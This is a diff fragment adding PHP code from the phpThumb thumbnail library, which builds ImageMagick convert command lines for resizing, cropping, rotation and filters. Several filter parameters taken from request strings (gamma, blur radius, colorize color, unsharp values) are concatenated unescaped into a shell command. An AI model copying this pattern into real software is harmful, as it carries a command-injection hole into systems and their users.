+		if (!$this->config_allow_src_above_docroot && !ereg('^'.preg_quote(str_replace(DIRECTORY_SEPARATOR, '/', realpath($this->config_document_root))), $AbsoluteFilename)) {
+			$this->DebugMessage('!$this->config_allow_src_above_docroot therefore setting "'.$AbsoluteFilename.'" (outside "'.realpath($this->config_document_root).'") to null', __FILE__, __LINE__);
+			return false;
+		}
+		if (!$this->config_allow_src_above_phpthumb && !ereg('^'.preg_quote(str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__))), $AbsoluteFilename)) {
+			$this->DebugMessage('!$this->config_allow_src_above_phpthumb therefore setting "'.$AbsoluteFilename.'" (outside "'.dirname(__FILE__).'") to null', __FILE__, __LINE__);
+			return false;
+		}
+		return $AbsoluteFilename;
+	}
+
+	function ImageMagickWhichConvert() {
+		static $WhichConvert = null;
+		if (is_null($WhichConvert)) {
+			if ($this->iswindows) {
+				$WhichConvert = false;
+			} else {
+				$WhichConvert = trim(phpthumb_functions::SafeExec('which convert'));
+			}
+		}
+		return $WhichConvert;
+	}
+
+	function ImageMagickCommandlineBase() {
+		static $commandline = null;
+		if (is_null($commandline)) {
+			$commandline = (!is_null($this->config_imagemagick_path) ? $this->config_imagemagick_path : '');
+
+			if ($this->config_imagemagick_path && ($this->config_imagemagick_path != realpath($this->config_imagemagick_path))) {
+				if (@is_executable(realpath($this->config_imagemagick_path))) {
+					$this->DebugMessage('Changing $this->config_imagemagick_path ('.$this->config_imagemagick_path.') to realpath($this->config_imagemagick_path) ('.realpath($this->config_imagemagick_path).')', __FILE__, __LINE__);
+					$this->config_imagemagick_path = realpath($this->config_imagemagick_path);
+				} else {
+					$this->DebugMessage('Leaving $this->config_imagemagick_path as ('.$this->config_imagemagick_path.') because !is_execuatable(realpath($this->config_imagemagick_path)) ('.realpath($this->config_imagemagick_path).')', __FILE__, __LINE__);
+				}
+			}
+			$this->DebugMessage('  file_exists('.$this->config_imagemagick_path.') = '.intval(  @file_exists($this->config_imagemagick_path)), __FILE__, __LINE__);
+			$this->DebugMessage('is_executable('.$this->config_imagemagick_path.') = '.intval(@is_executable($this->config_imagemagick_path)), __FILE__, __LINE__);
+			if (@file_exists($this->config_imagemagick_path)) {
+				$this->DebugMessage('using ImageMagick path from $this->config_imagemagick_path ('.$this->config_imagemagick_path.')', __FILE__, __LINE__);
+				if ($this->iswindows) {
+					$commandline = substr($this->config_imagemagick_path, 0, 2).' && cd "'.str_replace('/', DIRECTORY_SEPARATOR, substr(dirname($this->config_imagemagick_path), 2)).'" && '.basename($this->config_imagemagick_path);
+				} else {
+					$commandline = '"'.$this->config_imagemagick_path.'"';
+				}
+				return $commandline;
+			}
+
+			$which_convert = $this->ImageMagickWhichConvert();
+			$IMversion     = $this->ImageMagickVersion();
+
+			if ($which_convert && ($which_convert{0} == '/') && @file_exists($which_convert)) {
+
+				// `which convert` *should* return the path if "convert" exist, or nothing if it doesn't
+				// other things *may* get returned, like "sh: convert: not found" or "no convert in /usr/local/bin /usr/sbin /usr/bin /usr/ccs/bin"
+				// so only do this if the value returned exists as a file
+				$this->DebugMessage('using ImageMagick path from `which convert` ('.$which_convert.')', __FILE__, __LINE__);
+				$commandline = 'convert';
+
+			} elseif ($IMversion) {
+
+				$this->DebugMessage('setting ImageMagick path to $this->config_imagemagick_path ('.$this->config_imagemagick_path.') ['.$IMversion.']', __FILE__, __LINE__);
+				$commandline = $this->config_imagemagick_path;
+
+			} else {
+
+				$this->DebugMessage('ImageMagickThumbnailToGD() aborting because cannot find convert in $this->config_imagemagick_path ('.$this->config_imagemagick_path.'), and `which convert` returned ('.$which_convert.')', __FILE__, __LINE__);
+				$commandline = '';
+
+			}
+		}
+		return $commandline;
+	}
+
+	function ImageMagickVersion($returnRAW=false) {
+		static $versionstring = null;
+		if (is_null($versionstring)) {
+			$commandline = $this->ImageMagickCommandlineBase();
+			$commandline = (!is_null($commandline) ? $commandline : '');
+
+			$versionstring = array(0=>'', 1=>'');
+			if ($commandline) {
+				$commandline .= ' --version';
+				$this->DebugMessage('ImageMagick version checked with "'.$commandline.'"', __FILE__, __LINE__);
+				$versionstring[1] = trim(phpthumb_functions::SafeExec($commandline));
+				if (eregi('^Version: [^0-9]*([ 0-9\\.\\:Q/]+) (http|file)\:', $versionstring[1], $matches)) {
+					$versionstring[0] = $matches[1];
+				} else {
+					$versionstring[0] = false;
+					$this->DebugMessage('ImageMagick did not return recognized version string ('.$versionstring[1].')', __FILE__, __LINE__);
+				}
+				$this->DebugMessage('ImageMagick convert --version says "'.$matches[0].'"', __FILE__, __LINE__);
+			}
+		}
+		return @$versionstring[intval($returnRAW)];
+	}
+
+	function ImageMagickSwitchAvailable($switchname) {
+		static $IMoptions = null;
+		if (is_null($IMoptions)) {
+			$IMoptions = array();
+			$commandline = $this->ImageMagickCommandlineBase();
+			if (!is_null($commandline)) {
+				$commandline .= ' -help';
+				$IMhelp_lines = explode("\n", phpthumb_functions::SafeExec($commandline));
+				foreach ($IMhelp_lines as $line) {
+					if (ereg('^[\+\-]([a-z\-]+) ', trim($line), $matches)) {
+						$IMoptions[$matches[1]] = true;
+					}
+				}
+			}
+		}
+		if (is_array($switchname)) {
+			$allOK = true;
+			foreach ($switchname as $key => $value) {
+				if (!isset($IMoptions[$value])) {
+					$allOK = false;
+					break;
+				}
+			}
+			$this->DebugMessage('ImageMagickSwitchAvailable('.implode(';', $switchname).') = '.intval($allOK).'', __FILE__, __LINE__);
+		} else {
+			$allOK = isset($IMoptions[$switchname]);
+			$this->DebugMessage('ImageMagickSwitchAvailable('.$switchname.') = '.intval($allOK).'', __FILE__, __LINE__);
+		}
+		return $allOK;
+	}
+
+	function ImageMagickFormatsList() {
+		static $IMformatsList = null;
+		if (is_null($IMformatsList)) {
+			$IMformatsList = '';
+			$commandline = $this->ImageMagickCommandlineBase();
+			if (!is_null($commandline)) {
+				$commandline = dirname($commandline).DIRECTORY_SEPARATOR.str_replace('convert', 'identify', basename($commandline));
+				$commandline .= ' -list format';
+				$IMformatsList = phpthumb_functions::SafeExec($commandline);
+			}
+		}
+		return $IMformatsList;
+	}
+
+	function SourceDataToTempFile() {
+		if ($IMtempSourceFilename = $this->phpThumb_tempnam()) {
+			$IMtempSourceFilename = realpath($IMtempSourceFilename);
+			ob_start();
+			$fp_tempfile = fopen($IMtempSourceFilename, 'wb');
+			$tempfile_open_error  = ob_get_contents();
+			ob_end_clean();
+			if ($fp_tempfile) {
+				fwrite($fp_tempfile, $this->rawImageData);
+				fclose($fp_tempfile);
+				$this->sourceFilename = $IMtempSourceFilename;
+				$this->DebugMessage('ImageMagickThumbnailToGD() setting $this->sourceFilename to "'.$IMtempSourceFilename.'" from $this->rawImageData ('.strlen($this->rawImageData).' bytes)', __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('ImageMagickThumbnailToGD() FAILED setting $this->sourceFilename to "'.$IMtempSourceFilename.'" (failed to open for writing: "'.$tempfile_open_error.'")', __FILE__, __LINE__);
+			}
+			unset($tempfile_open_error, $IMtempSourceFilename);
+			return true;
+		}
+		$this->DebugMessage('SourceDataToTempFile() FAILED because $this->phpThumb_tempnam() failed', __FILE__, __LINE__);
+		return false;
+	}
+
+	function ImageMagickThumbnailToGD() {
+		// http://www.imagemagick.org/script/command-line-options.php
+
+		$this->useRawIMoutput = true;
+		if (phpthumb_functions::gd_version()) {
+			// if GD is not available, must use whatever ImageMagick can output
+
+			// $UnAllowedParameters contains options that can only be processed in GD, not ImageMagick
+			// note: 'fltr' *may* need to be processed by GD, but we'll check that in more detail below
+			$UnAllowedParameters = array('xto', 'ar', 'bg', 'bc');
+			// 'ra' may be part of this list, if not a multiple of 90°
+			foreach ($UnAllowedParameters as $parameter) {
+				if (isset($this->$parameter)) {
+					$this->DebugMessage('$this->useRawIMoutput=false because "'.$parameter.'" is set', __FILE__, __LINE__);
+					$this->useRawIMoutput = false;
+					break;
+				}
+			}
+		}
+		$this->DebugMessage('$this->useRawIMoutput='.($this->useRawIMoutput ? 'true' : 'false').' after checking $UnAllowedParameters', __FILE__, __LINE__);
+		$outputFormat = $this->thumbnailFormat;
+		if (phpthumb_functions::gd_version()) {
+			if ($this->useRawIMoutput) {
+				switch ($this->thumbnailFormat) {
+					case 'gif':
+						$ImageCreateFunction = 'ImageCreateFromGIF';
+						$this->is_alpha = true;
+						break;
+					case 'png':
+						$ImageCreateFunction = 'ImageCreateFromPNG';
+						$this->is_alpha = true;
+						break;
+					case 'jpg':
+					case 'jpeg':
+						$ImageCreateFunction = 'ImageCreateFromJPEG';
+						break;
+					default:
+						$this->DebugMessage('Forcing output to PNG because $this->thumbnailFormat ('.$this->thumbnailFormat.' is not a GD-supported format)', __FILE__, __LINE__);
+						$outputFormat = 'png';
+						$ImageCreateFunction = 'ImageCreateFromPNG';
+						$this->is_alpha = true;
+						$this->useRawIMoutput = false;
+						break;
+				}
+				if (!function_exists(@$ImageCreateFunction)) {
+					// ImageMagickThumbnailToGD() depends on ImageCreateFromPNG/ImageCreateFromGIF
+					//$this->DebugMessage('ImageMagickThumbnailToGD() aborting because '.@$ImageCreateFunction.'() is not available', __FILE__, __LINE__);
+					$this->useRawIMoutput = true;
+					//return false;
+				}
+			} else {
+				$outputFormat = 'png';
+				$ImageCreateFunction = 'ImageCreateFromPNG';
+				$this->is_alpha = true;
+				$this->useRawIMoutput = false;
+			}
+		}
+
+		if (!$this->sourceFilename && $this->rawImageData) {
+			!$this->SourceDataToTempFile();
+		}
+		if (!$this->sourceFilename) {
+			$this->DebugMessage('ImageMagickThumbnailToGD() aborting because $this->sourceFilename is empty', __FILE__, __LINE__);
+			$this->useRawIMoutput = false;
+			return false;
+		}
+
+		$commandline = $this->ImageMagickCommandlineBase();
+		if ($commandline) {
+			if ($IMtempfilename = $this->phpThumb_tempnam()) {
+				$IMtempfilename = realpath($IMtempfilename);
+
+				$IMuseExplicitImageOutputDimensions = false;
+				if ($this->ImageMagickSwitchAvailable('thumbnail') && $this->config_imagemagick_use_thumbnail) {
+					$IMresizeParameter = 'thumbnail';
+				} else {
+					$IMresizeParameter = 'resize';
+
+					// some (older? around 2002) versions of IM won't accept "-resize 100x" but require "-resize 100x100"
+					$commandline_test = $this->ImageMagickCommandlineBase().' logo: -resize 1x "'.$IMtempfilename.'" 2>&1';
+					$IMresult_test = phpthumb_functions::SafeExec($commandline_test);
+					$IMuseExplicitImageOutputDimensions = eregi('image dimensions are zero', $IMresult_test);
+					$this->DebugMessage('IMuseExplicitImageOutputDimensions = '.intval($IMuseExplicitImageOutputDimensions), __FILE__, __LINE__);
+					if ($fp_im_temp = @fopen($IMtempfilename, 'wb')) {
+						// erase temp image so ImageMagick logo doesn't get output if other processing fails
+						fclose($fp_im_temp);
+					}
+				}
+
+
+				if (!is_null($this->dpi) && $this->ImageMagickSwitchAvailable('density')) {
+					// for raster source formats only (WMF, PDF, etc)
+					$commandline .= ' -density '.$this->dpi;
+				}
+				ob_start();
+				$getimagesize = GetImageSize($this->sourceFilename);
+				$GetImageSizeError = ob_get_contents();
+				ob_end_clean();
+				if (is_array($getimagesize)) {
+					$this->DebugMessage('GetImageSize('.$this->sourceFilename.') SUCCEEDED: '.print_r($getimagesize, true), __FILE__, __LINE__);
+				} else {
+					$this->DebugMessage('GetImageSize('.$this->sourceFilename.') FAILED with error "'.$GetImageSizeError.'"', __FILE__, __LINE__);
+				}
+				if (is_array($getimagesize)) {
+					$this->DebugMessage('GetImageSize('.$this->sourceFilename.') returned [w='.$getimagesize[0].';h='.$getimagesize[1].';f='.$getimagesize[2].']', __FILE__, __LINE__);
+					$this->source_width  = $getimagesize[0];
+					$this->source_height = $getimagesize[1];
+					$this->DebugMessage('source dimensions set to '.$this->source_width.'x'.$this->source_height, __FILE__, __LINE__);
+					$this->SetOrientationDependantWidthHeight();
+
+					if (!eregi('('.implode('|', $this->AlphaCapableFormats).')', $outputFormat)) {
+						// not a transparency-capable format
+						$commandline .= ' -background "#'.($this->bg ? $this->bg : 'FFFFFF').'"';
+						if ($getimagesize[2] == 1) {
+							// GIF
+							$commandline .= ' -flatten';
+						}
+					}
+					if ($getimagesize[2] == 1) {
+						// GIF
+						$commandline .= ' -coalesce'; // may be needed for animated GIFs
+					}
+					if ($this->source_width || $this->source_height) {
+						if ($this->zc) {
+
+							$borderThickness = 0;
+							if (!empty($this->fltr)) {
+								foreach ($this->fltr as $key => $value) {
+									if (ereg('^bord\|([0-9]+)', $value, $matches)) {
+										$borderThickness = $matches[1];
+										break;
+									}
+								}
+							}
+							$wAll = intval(max($this->w, $this->wp, $this->wl, $this->ws)) - (2 * $borderThickness);
+							$hAll = intval(max($this->h, $this->hp, $this->hl, $this->hs)) - (2 * $borderThickness);
+							$imAR = $this->source_width / $this->source_height;
+							$zcAR = (($wAll && $hAll) ? $wAll / $hAll : 1);
+							$side  = phpthumb_functions::nonempty_min($this->source_width, $this->source_height, max($wAll, $hAll));
+							$sideX = phpthumb_functions::nonempty_min($this->source_width,                       $wAll, round($hAll * $zcAR));
+							$sideY = phpthumb_functions::nonempty_min(                     $this->source_height, $hAll, round($wAll / $zcAR));
+
+							$thumbnailH = round(max($sideY, ($sideY * $zcAR) / $imAR));
+							if ($IMuseExplicitImageOutputDimensions) {
+								$commandline .= ' -'.$IMresizeParameter.' '.$thumbnailH.'x'.$thumbnailH;
+							} else {
+								$commandline .= ' -'.$IMresizeParameter.' x'.$thumbnailH;
+							}
+
+							switch (strtoupper($this->zc)) {
+								case 'T':
+									$commandline .= ' -gravity north';
+									break;
+								case 'B':
+									$commandline .= ' -gravity south';
+									break;
+								case 'L':
+									$commandline .= ' -gravity west';
+									break;
+								case 'R':
+									$commandline .= ' -gravity east';
+									break;
+								case 'TL':
+									$commandline .= ' -gravity northwest';
+									break;
+								case 'TR':
+									$commandline .= ' -gravity northeast';
+									break;
+								case 'BL':
+									$commandline .= ' -gravity southwest';
+									break;
+								case 'BR':
+									$commandline .= ' -gravity southeast';
+									break;
+								case '1':
+								case 'C':
+								default:
+									$commandline .= ' -gravity center';
+									break;
+							}
+
+							if (($wAll > 0) && ($hAll > 0)) {
+								$commandline .= ' -crop '.$wAll.'x'.$hAll.'+0+0';
+							} else {
+								$commandline .= ' -crop '.$side.'x'.$side.'+0+0';
+							}
+							if ($this->ImageMagickSwitchAvailable('repage')) {
+								$commandline .= ' +repage';
+							} else {
+								$this->DebugMessage('Skipping "+repage" because ImageMagick (v'.$this->ImageMagickVersion().') does not support it', __FILE__, __LINE__);
+							}
+
+						} elseif ($this->sw || $this->sh || $this->sx || $this->sy) {
+
+							$commandline .= ' -crop '.($this->sw ? $this->sw : $this->source_width).'x'.($this->sh ? $this->sh : $this->source_height).'+'.$this->sx.'+'.$this->sy;
+							// this is broken for aoe=1, but unsure how to fix. Send advice to info@silisoftware.com
+							if ($this->w || $this->h) {
+								if ($this->ImageMagickSwitchAvailable('repage')) {
+									$commandline .= ' -repage';
+								} else {
+									$this->DebugMessage('Skipping "-repage" because ImageMagick (v'.$this->ImageMagickVersion().') does not support it', __FILE__, __LINE__);
+								}
+								if ($IMuseExplicitImageOutputDimensions) {
+									if ($this->w && !$this->h) {
+										$this->h = ceil($this->w / ($this->source_width / $this->source_height));
+									} elseif ($this->h && !$this->w) {
+										$this->w = ceil($this->h * ($this->source_width / $this->source_height));
+									}
+								}
+								$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
+							}
+
+						} else {
+
+							if ($this->iar && (intval($this->w) > 0) && (intval($this->h) > 0)) {
+								//$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h.'!';
+								list($nw, $nh) = phpthumb_functions::TranslateWHbyAngle($this->w, $this->h, $this->ra);
+								$nw = ((round($nw) != 0) ? round($nw) : '');
+								$nh = ((round($nh) != 0) ? round($nh) : '');
+								$commandline .= ' -'.$IMresizeParameter.' '.$nw.'x'.$nh.'!';
+							} else {
+								$this->w = ((($this->aoe || $this->far) && $this->w) ? $this->w : ($this->w ? phpthumb_functions::nonempty_min($this->w, $getimagesize[0]) : ''));
+								$this->h = ((($this->aoe || $this->far) && $this->h) ? $this->h : ($this->h ? phpthumb_functions::nonempty_min($this->h, $getimagesize[1]) : ''));
+								if ($this->w || $this->h) {
+									if ($IMuseExplicitImageOutputDimensions) {
+										if ($this->w && !$this->h) {
+											$this->h = ceil($this->w / ($this->source_width / $this->source_height));
+										} elseif ($this->h && !$this->w) {
+											$this->w = ceil($this->h * ($this->source_width / $this->source_height));
+										}
+									}
+									//$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
+									list($nw, $nh) = phpthumb_functions::TranslateWHbyAngle($this->w, $this->h, $this->ra);
+									$nw = ((round($nw) != 0) ? round($nw) : '');
+									$nh = ((round($nh) != 0) ? round($nh) : '');
+									$commandline .= ' -'.$IMresizeParameter.' '.$nw.'x'.$nh;
+								}
+							}
+						}
+					}
+
+				} else {
+
+					$this->DebugMessage('GetImageSize('.$this->sourceFilename.') failed', __FILE__, __LINE__);
+					if ($this->w || $this->h) {
+						if ($IMuseExplicitImageOutputDimensions) {
+							// unknown source aspect ration, just put large number and hope IM figures it out
+							$commandline .= ' -'.$IMresizeParameter.' '.($this->w ? $this->w : '9999').'x'.($this->h ? $this->h : '9999');
+						} else {
+							$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
+						}
+						if ($this->iar && (intval($this->w) > 0) && (intval($this->h) > 0)) {
+							$commandline .= '!';
+						}
+					}
+
+				}
+
+				if ($this->ra) {
+					$this->ra = intval($this->ra);
+					if ($this->ImageMagickSwitchAvailable('rotate')) {
+						if (!eregi('('.implode('|', $this->AlphaCapableFormats).')', $outputFormat) || phpthumb_functions::version_compare_replacement($this->ImageMagickVersion(), '6.3.7', '>=')) {
+							$this->DebugMessage('Using ImageMagick rotate', __FILE__, __LINE__);
+							$commandline .= ' -rotate '.$this->ra;
+							if (($this->ra % 90) != 0) {
+								if (eregi('('.implode('|', $this->AlphaCapableFormats).')', $outputFormat)) {
+									// alpha-capable format
+									$commandline .= ' -background rgba(255,255,255,0)';
+								} else {
+									$commandline .= ' -background "#'.($this->bg ? $this->bg : 'FFFFFF').'"';
+								}
+							}
+							$this->ra = 0;
+						} else {
+							$this->DebugMessage('Not using ImageMagick rotate because alpha background buggy before v6.3.7', __FILE__, __LINE__);
+						}
+					} else {
+						$this->DebugMessage('Not using ImageMagick rotate because not supported', __FILE__, __LINE__);
+					}
+				}
+
+				$successfullyProcessedFilters = array();
+				foreach ($this->fltr as $filterkey => $filtercommand) {
+					@list($command, $parameter) = explode('|', $filtercommand, 2);
+					switch ($command) {
+						case 'brit':
+							if ($this->ImageMagickSwitchAvailable('modulate')) {
+								$commandline .= ' -modulate '.(100 + $parameter).',100,100';
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'cont':
+							if ($this->ImageMagickSwitchAvailable('contrast')) {
+								$contDiv10 = round($parameter / 10);
+								if ($contDiv10 > 0) {
+									for ($i = 0; $i < $contDiv10; $i++) {
+										$commandline .= ' -contrast'; // increase contrast by 10%
+									}
+								} elseif ($contDiv10 < 0) {
+									for ($i = $contDiv10; $i < 0; $i++) {
+										$commandline .= ' +contrast'; // decrease contrast by 10%
+									}
+								} else {
+									// do nothing
+								}
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'ds':
+							if ($this->ImageMagickSwitchAvailable(array('colorspace', 'modulate'))) {
+								if ($parameter == 100) {
+									$commandline .= ' -colorspace GRAY -modulate 100,0,100';
+								} else {
+									$commandline .= ' -modulate 100,'.(100 - $parameter).',100';
+								}
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'sat':
+							if ($this->ImageMagickSwitchAvailable(array('colorspace', 'modulate'))) {
+								if ($parameter == -100) {
+									$commandline .= ' -colorspace GRAY -modulate 100,0,100';
+								} else {
+									$commandline .= ' -modulate 100,'.(100 + $parameter).',100';
+								}
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'gray':
+							if ($this->ImageMagickSwitchAvailable(array('colorspace', 'modulate'))) {
+								$commandline .= ' -colorspace GRAY -modulate 100,0,100';
+								//$commandline .= ' -colorspace GRAY';
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'clr':
+							if ($this->ImageMagickSwitchAvailable(array('fill', 'colorize'))) {
+								@list($amount, $color) = explode('|', $parameter);
+								$commandline .= ' -fill "#'.$color.'" -colorize '.$amount;
+							}
+							break;
+
+						case 'sep':
+							if ($this->ImageMagickSwitchAvailable('sepia-tone')) {
+								@list($amount, $color) = explode('|', $parameter);
+								$amount = ($amount ? $amount : 80);
+								if (!$color) {
+									$commandline .= ' -sepia-tone '.$amount.'%';
+									$successfullyProcessedFilters[] = $filterkey;
+								}
+							}
+							break;
+
+						case 'gam':
+							if ($this->ImageMagickSwitchAvailable('gamma')) {
+								$commandline .= ' -gamma '.$parameter;
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'neg':
+							if ($this->ImageMagickSwitchAvailable('negate')) {
+								$commandline .= ' -negate';
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'th':
+							if ($this->ImageMagickSwitchAvailable(array('threshold', 'dither', 'monochrome'))) {
+								$commandline .= ' -threshold '.round($parameter / 2.55).'% -dither -monochrome';
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'rcd':
+							if ($this->ImageMagickSwitchAvailable(array('colors', 'dither'))) {
+								@list($colors, $dither) = explode('|', $parameter);
+								$colors = ($colors                ?  (int) $colors : 256);
+								$dither  = ((strlen($dither) > 0) ? (bool) $dither : true);
+								$commandline .= ' -colors '.max($colors, 8); // ImageMagick will otherwise fail with "cannot quantize to fewer than 8 colors"
+								$commandline .= ($dither ? ' -dither' : ' +dither');
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'flip':
+							if ($this->ImageMagickSwitchAvailable(array('flip', 'flop'))) {
+								if (strpos(strtolower($parameter), 'x') !== false) {
+									$commandline .= ' -flop';
+								}
+								if (strpos(strtolower($parameter), 'y') !== false) {
+									$commandline .= ' -flip';
+								}
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'edge':
+							if ($this->ImageMagickSwitchAvailable('edge')) {
+								$parameter = ($parameter ? $parameter : 2);
+								$commandline .= ' -edge '.($parameter ? $parameter : 1);
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'emb':
+							if ($this->ImageMagickSwitchAvailable(array('emboss', 'negate'))) {
+								$parameter = ($parameter ? $parameter : 2);
+								$commandline .= ' -emboss '.$parameter;
+								if ($parameter < 2) {
+									$commandline .= ' -negate'; // ImageMagick negates the image for some reason with '-emboss 1';
+								}
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'lvl':
+							@list($band, $method, $threshold) = explode('|', $parameter);
+							$band      = ($band ? ereg_replace('[^RGBA\\*]', '', strtoupper($band)) : '*');
+							$method    = ((strlen($method) > 0)    ? intval($method)                :   2);
+							$threshold = ((strlen($threshold) > 0) ? floatval($threshold)           : 0.1);
+
+							$band = ereg_replace('[^RGBA\\*]', '', strtoupper($band));
+
+							if (($method > 1) && !$this->ImageMagickSwitchAvailable(array('channel', 'contrast-stretch'))) {
+								// Because ImageMagick processing happens before PHP-GD filters, and because some
+								// clipping is involved in the "lvl" filter, if "lvl" happens before "wb" then the
+								// "wb" filter will have (almost) no effect. Therefore, if "wb" is enabled then
+								// force the "lvl" filter to be processed by GD, not ImageMagick.
+								foreach ($this->fltr as $fltr_key => $fltr_value) {
+									list($fltr_cmd) = explode('|', $fltr_value);
+									if ($fltr_cmd == 'wb') {
+										$this->DebugMessage('Setting "lvl" filter method to "0" (from "'.$method.'") because white-balance filter also enabled', __FILE__, __LINE__);
+										$method = 0;
+									}
+								}
+							}
+
+							switch ($method) {
+								case 0: // internal RGB
+								case 1: // internal grayscale
+									break;
+								case 2: // ImageMagick "contrast-stretch"
+									if ($this->ImageMagickSwitchAvailable('contrast-stretch')) {
+										$thiscommand = ' -contrast-stretch '.$threshold.'%';
+										$commandline .= (($band == '*') ? $thiscommand : ' -channel '.strtoupper($band).$thiscommand.' +channel');
+										$successfullyProcessedFilters[] = $filterkey;
+									}
+									break;
+								case 3: // ImageMagick "normalize"
+									if ($this->ImageMagickSwitchAvailable('normalize')) {
+										$thiscommand = ' -normalize';
+										$commandline .= (($band == '*') ? $thiscommand : ' -channel '.strtoupper($band).$thiscommand.' +channel');
+										$successfullyProcessedFilters[] = $filterkey;
+									}
+									break;
+								default:
+									$this->DebugMessage('unsupported method ('.$method.') for "lvl" filter', __FILE__, __LINE__);
+									break;
+							}
+							if (isset($this->fltr[$filterkey]) && ($method > 1)) {
+								$this->fltr[$filterkey] = $command.'|'.$band.'|0|'.$threshold;
+								$this->DebugMessage('filter "lvl" remapped from method "'.$method.'" to method "0" because ImageMagick support is missing', __FILE__, __LINE__);
+							}
+							break;
+
+						case 'wb':
+							if ($this->ImageMagickSwitchAvailable(array('channel', 'contrast-stretch'))) {
+								@list($threshold) = explode('|', $parameter);
+								$threshold = (is_float($threshold) ? $threshold : 0.1);
+								$commandline .= ' -channel R -contrast-stretch '.$threshold.'%';
+								$commandline .= ' -channel G -contrast-stretch '.$threshold.'%';
+								$commandline .= ' -channel B -contrast-stretch '.$threshold.'%';
+								$commandline .= ' +channel';
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'blur':
+							if ($this->ImageMagickSwitchAvailable('blur')) {
+								@list($radius) = explode('|', $parameter);
+								$radius = ($radius ? $radius : 1);
+								$commandline .= ' -blur '.$radius;
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'gblr':
+							if ($this->ImageMagickSwitchAvailable('gaussian')) {
+								@list($radius) = explode('|', $parameter);
+								$radius = ($radius ? $radius : 1);
+								$commandline .= ' -gaussian '.$radius;
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'usm':
+							if ($this->ImageMagickSwitchAvailable('unsharp')) {
+								@list($amount, $radius, $threshold) = explode('|', $parameter);
+								$amount    = ($amount            ? $amount    : 80);
+								$radius    = ($radius            ? $radius    : 0.5);
+								$threshold = (strlen($threshold) ? $threshold : 3);
+								$commandline .= ' -unsharp '.number_format(($radius * 2) - 1, 2).'x1+'.number_format($amount / 100, 2).'+'.number_format($threshold / 100, 2);
+								$successfullyProcessedFilters[] = $filterkey;
+							}
+							break;
+
+						case 'bord':
+							if ($this->ImageMagickSwitchAvailable(array('border', 'bordercolor', 'thumbnail', 'crop'))) {
+								if (!$this->zc) {
+									@list($width, $rX, $rY, $color) = explode('|', $parameter);
+									if ($width && !$rX && !$rY) {
+										if (!phpthumb_functions::IsHexColor($color)) {
+											$color = ($this->bc ? $this->bc : '000000');
+										}
+										$commandline .= ' -border '.$width.' -bordercolor "#'.$color.'"';
+										if (ereg(' \-crop ([0-9]+)x([0-9]+)\+0\+0 ', $commandline, $matches)) {
+											$commandline = str_replace(' -crop '.$matches[1].'x'.$matches[2].'+0+0 ', ' -crop '.($matches[1] - (2 * $width)).'x'.($matches[2] - (2 * $width)).'+0+0 ', $commandline);
+										} elseif (ereg(' \-'.$IMresizeParameter.' ([0-9]+)x([0-9]+) ', $commandline, $matches)) {
+											$commandline = str_replace(' -'.$IMresizeParameter.' '.$matches[1].'x'.$matches[2].' ', ' -'.$IMresizeParameter.' '.($matches[1] - (2 * $width)).'x'.($matches[2] - (2 * $width)).' ', $commandline);
+										}
+										$successfullyProcessedFilters[] = $filterkey;
+									}
+								}
+							}
+							break;
+
+						case 'crop':
+							break;
+
+						case 'sblr':
+							break;
+
+						case 'mean':
+							break;
+
+						case 'smth':
+							break;
+
+						case 'bvl':
+							break;
+
+						case 'wmi':
+							break;
+
+						case 'wmt':
+							break;
+
+						case 'over':
+							break;
+
+						case 'hist':
+							break;
+
+						case 'fram':
+							break;
+
+						case 'drop':
+							break;
+
+						case 'mask':
+							break;
+
+						case 'elip':
+							break;
+
+						case 'ric':
+							break;
+
+						case 'stc':
+							break;
+
+						case 'size':
+							break;
+
+						default:
+							$this->DebugMessage('Unknown $this->fltr['.$filterkey.'] ('.$filtercommand.') -- deleting filter command', __FILE__, __LINE__);
+							$successfullyProcessedFilters[] = $filterkey;
+							break;
+					}
+					if (!isset($this->fltr[$filterkey])) {
+						$this->DebugMessage('Processed $this->fltr['.$filterkey.'] ('.$filtercommand.') with ImageMagick', __FILE__, __LINE__);
+					} else {
+						$this->DebugMessage('Skipping $this->fltr['.$filterkey.'] ('.$filtercommand.') with ImageMagick', __FILE__, __LINE__);
+					}
+				}
+				$this->DebugMessage('Remaining $this->fltr after ImageMagick: ('.$this->phpThumbDebugVarDump($this->fltr).')', __FILE__, __LINE__);
+				if (count($this->fltr) > 0) {
+					$this->useRawIMoutput = false;
+				}
+
+				if (eregi('jpe?g', $outputFormat) && $this->q) {
+					if ($this->ImageMagickSwitchAvailable(array('quality', 'interlace'))) {
+						$commandline .= ' -quality '.$this->thumbnailQuality;
+						if ($this->config_output_interlace) {
+							// causes weird things with animated GIF... leave for JPEG only
+							$commandline .= ' -interlace line '; // Use Line or Plane to create an interlaced PNG or GIF or progressive JPEG image
+						}
+					}
+				}
+				$commandline .= ' "'.str_replace('/', DIRECTORY_SEPARATOR, $this->sourceFilename).(($outputFormat == 'gif') ? '' : '['.intval($this->sfn).']').'"'; // [0] means first frame of (GIF) animation, can be ignored
+				$commandline .= ' '.$outputFormat.':"'.$IMtempfilename.'"';
+				if (!$this->iswindows) {
+					$commandline .= ' 2>&1';
+				}
